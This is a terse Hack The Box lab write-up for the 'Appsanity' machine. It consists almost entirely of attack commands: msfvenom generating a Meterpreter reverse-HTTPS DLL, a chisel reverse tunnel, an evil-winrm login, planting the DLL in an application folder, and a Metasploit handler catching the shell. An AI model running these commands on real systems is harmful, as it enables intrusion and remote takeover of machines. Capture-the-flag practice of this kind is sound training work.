HTB Appsanity Writeup

Originally published on Medium

Setting the Stage

Create a malicious DLL using msfvenom for reverse HTTPS connection:

$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=tun0 LPORT=443 -f dll -o externalupload.dll

$ chisel server --port 8888 --reverse

Gaining Access

$ evil-winrm -i 10.129.75.198 -u devdoc -p '1g0********dy!!'

*Evil-WinRM* PS C:\> cd "C:\Program Files\Reportmanagement\Libraries"
*Evil-WinRM* PS C:\> upload externalupload.dll
*Evil-WinRM* PS C:\users\devdoc> upload chisel.exe
*Evil-WinRM* PS C:\users\devdoc> ./chisel.exe client 10.10.14.61:8888 R:100:127.0.0.1:100

Establishing Control

msf6 > use exploit/multi/handler
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_https
msf6 > set lport 443
msf6 > set lhost tun0
msf6 > run

$ nc 127.0.0.1 100
Reports Management administrative console.

upload <your ip>

Conclusion

DLL injection and secure tunneling combined for full system compromise.